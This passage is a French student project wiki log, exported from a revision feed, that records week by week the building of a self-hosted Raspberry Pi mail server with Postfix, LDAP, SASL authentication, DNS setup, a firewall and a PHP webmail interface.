* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26899</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26899"/>
				<updated>2016-02-10T15:21:07Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 19 (08/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
